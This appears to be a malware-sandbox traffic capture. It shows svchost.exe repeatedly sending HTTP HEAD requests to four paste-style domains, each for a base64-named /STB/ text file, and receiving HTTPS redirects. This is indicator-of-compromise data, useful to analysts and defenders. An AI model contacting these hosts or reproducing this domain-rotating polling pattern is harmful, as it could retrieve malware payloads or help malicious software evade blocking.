Jan 12, 2025 09:27:09.185534000 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:09 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:09 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pi2P4L%2BBiw0zRXg7TVjamhW7leo0ow%2FNnOx04ucbnLg1Edk%2FDulYqkyCvUFXy6FYLmTCct0ePRPE8%2Fxo0txptg7Pi5bBQ3kjasEN0t6wAnVNSeKRHsUWp0U6w56KFr0ZEA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4060e035e60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1564&rtt_var=782&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	50229	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:08.964114904 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:09.422991037 CET	882	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:09 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:09 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rdny66%2F4zn%2BgROP7UtezOWewiaXUGumLsTcl31Sri1UvY1miQ8LZhu6kabqLTqjVrGO71NSiTAXVg7LNN4S619d%2B2G2EYVSR4P5uWcOABpUI%2BF72CNUV2UAkixY%2FhA%2Fe4pBg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc40798bede95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2529&min_rtt=2529&rtt_var=1264&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	50231	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:09.191715956 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:09.664475918 CET	864	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:09 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:09 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DAUG06UTbRXjHxvxrMU8nzdSHGs7nhcfsg9ZJhlvTQ0whzpmM1qKS%2F%2FfiABCcYsCqkHy%2BQ7z6FdrkawISVlzPli5yf1KnMizOpjUY7XlcsSJaLj5G%2FekFTbENOt%2B0SbK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4090b3a5e6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1772&min_rtt=1772&rtt_var=886&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	50236	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:09.671133995 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:10.129641056 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:10 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:10 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FzKQTGOFiEuWZQdvW%2BpOmFR7gBm8vDGOYSCeo5YE%2BUWd0Fj%2FCkaqbQGvBKnzbsX8q%2FQC7sY9arNehrmcferu6PIlXyaQYCM6HSV2Sr8%2FudyPYDDjh7lTI5%2BiW4UftZeLnwDi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc40bfe8f7c7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1951&min_rtt=1951&rtt_var=975&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	50238	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:09.914673090 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:10.387768030 CET	878	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:10 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:10 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F5bN8ssLkH3KpdgobZkdJ8dOkIbbVHHpl%2B%2FaVlLCEHapdz1NFavMoTrTcLrWSYnMsA08SzD%2BrQ1dP3WjIJ%2FRqEGgUjX%2Fe7l2qadSEY8hB9kRXt6tzEiJkuIJLfPvc0wHGdQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc40d9bd9c407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1505&rtt_var=752&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	50240	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:10.136909008 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:10.617371082 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:10 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:10 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JvSFnmTKG5Wv9aHBzANKTNBBLjc2VhKpoecP8j7b1aPwydeCZ%2B0iRNNaAHRP4aq4bXy3vEP%2Fmhtd4LpPrcooBcDA2nCez3D66AZCzoQyzb%2Bd3AKbd9pUefDZaC4cV9SklMYz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc40efae34414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1746&min_rtt=1746&rtt_var=873&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	50242	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:10.395867109 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:10.850568056 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:10 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:10 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IX8edTRBYVzrLPiJlDGKiwwwEHffX2EAKfVQq23nDFKe9CzMWSKRq0sqOAoqLzy8s3KJqT2wLwtdC%2BynHSlubkYTzso3%2BSND%2F0DzaV46krImQ32I%2Bgc5rQVPJBssbM9G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc410793818c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1615&rtt_var=807&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	50247	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:10.856626034 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:11.339298010 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:11 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:11 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oVGnkxFKrmiBxFqWBk%2FDEqqy7WOGRteN%2B%2BoZKw4HdC6gKVaxJ%2BRmsaR3b3Crftg7OT55bo2EH01t9ozUzb9pjGkZygFaW%2BhFUhc41ZAn0Xw0i9i7nzZhIlA1iWTM241XPy1n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4138c96435b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1584&rtt_var=792&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	50249	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:11.138648987 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:11.596618891 CET	872	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:11 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:11 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jCz7ev9q95ohfnsR9zFiZ6503jUt185n53SEYWaPVTgv0NvJ%2B2RvusOKMkntoKOniiLNBBlpPjzLHoH29seh%2FsbmdwaeUocmW7SwAbylDfCNoiVPoO18InRe%2FdgNOw29aFE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4152ecb8c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1760&rtt_var=880&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	50251	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:11.345406055 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:11.813663960 CET	887	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:11 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:11 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H4ZltB6Ld%2B4QmvvTbj012N94iHeyKHcxv2Q2u%2BQf%2B%2BeTlHw0vacOlfMuaEhQ%2BTyrOs7mJ1PFDhOQqVIgk%2F%2BraXL1jr8xuDBmVoN%2BjyJRHHaNl2OyHNrL7LVTQtUMjXtyI3%2BJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc41688a14414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1678&min_rtt=1678&rtt_var=839&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	50253	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:11.602885962 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:12.066726923 CET	853	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:12 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:12 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MC3eNc3LR6030HP4wEfjkE2To1Qeq6Pnk1ocp0mNyrB7TSteDMn2oenCiRgQNTmtSP1Eb3RnNb7pwinvVRpAHzu78CUokp3cEKBh3LDt0TfXrrephRbDTXfvntb7E0ec"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc418180d41c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1608&rtt_var=804&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=70&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	50258	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:12.073554993 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:12.537415028 CET	869	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:12 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:12 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bm1YkZJBSNWwEgKiuN2Tn11AyK4z2fJuSbl8w5sszytbu9gtRtMMYOpnNWoKeAM9Gex5RcOJIKeSxKOg%2BssSjL9b%2B6487mOGKXQIEJEJkmWJ1nScFdOV9sIsFUWm99qqpXCk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc41b084c0f9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1512&min_rtt=1512&rtt_var=756&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	50260	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:12.340502977 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:12.833381891 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:12 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:12 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hinF8JZid7AkW3NIWPYI26fq6bUfOYOQnNx%2FyJ1N%2F1%2BtQ8bOi5JGFXu7Ql7oo287NrRwY2FbtFKE7OoIHB6s%2Fst%2FS54Qa1Dic3xFfx7gmywVOexQIyXkxdwszv1wDGzoDhs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc41cdc550f5d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2745&min_rtt=2745&rtt_var=1372&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	50262	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:12.572257996 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:13.027383089 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:12 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:12 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eFwZcKht83EfIygwwTTMKS9sy7yvq9wYfXKzscYZH2i6PZZntn1yhV%2FoKQ7nHolrAmdILR4Tjw6%2F5eJYLSXhe14aAJ4vlrglDtDIJXueH5ewxsSLLhtPF%2BLvOfxeodGb2YZX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc41e1dd67c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1907&min_rtt=1907&rtt_var=953&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	50264	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:12.855453014 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:13.318712950 CET	865	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:13 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:13 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zk4HeXyP%2BGx%2Flhw9Ia3GvnCRHp%2BtAbhOXWl5YOFvyy%2BoqOrucQooOEbkKA5tdypQIBzmfRZoLTuV7fT1zEgZUckOPTcSIh29bU1uUKcw66F%2F6VUhfDdDpeNSNHdhLEFT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc41fed5941f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2412&min_rtt=2412&rtt_var=1206&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	50270	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:13.325016975 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:13.792431116 CET	881	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:13 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:13 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hm1A6B%2Bee98TpsSDNg5Si2%2B29hFznUOZm%2FQ3gPPH2BG27Mj%2F%2FKHa1hZ33mbrPCsELT%2FdzNJn4vo1PgGkPPIEHe5iGiv3%2BZqGJpFmTiReLCtW%2BcvuVN34PSkgj9P88jI9P5Ft"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc422d9628c39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1906&min_rtt=1906&rtt_var=953&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	50272	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:13.547885895 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:14.002796888 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:13 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:13 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HoylEVQHXicjbdHW%2Bv21nwHUfc97GafwzG97yQjMO1Sz1n1yBEtvk17YYTb16eS4oglheNVJ3Pb4AlbgOknJI95fzuv3SP8Z8gyh5H4kFmxXES8dwNMxIouWPrxUZmc8hLY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4242933c402-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1452&min_rtt=1452&rtt_var=726&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=165&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	50274	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:13.798412085 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:14.249157906 CET	881	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:14 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:14 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gsnECbPaMOOrrXTwmJEJg9SzcNRfCHIede9z4YRU2zDhjcceWgCYP4y%2F6ZLi0uM7PH12oQOUQQLV1T4jpJhQk0pZ2tM%2FY1ot8i%2F0TsIA2wj8o%2FX1tUC8SBd%2FQ%2Fq8KKZbwQAM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc425c871c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1611&min_rtt=1611&rtt_var=805&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	50276	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:14.011379004 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:14.493922949 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:14 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:14 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2vEpq38Jg9UTdCm%2BNItCHeNL%2FcE1WxM5MU0psve6LF0miqZEqzpaHFz8MgZSg7a6d6vuMzaNmFA%2FhDH8AhMKWQGTMAROFv3ihxfa5m%2FsCResOe7HiikaBYJZtF780UBr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4273deec466-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1618&rtt_var=809&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	50282	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:14.503729105 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
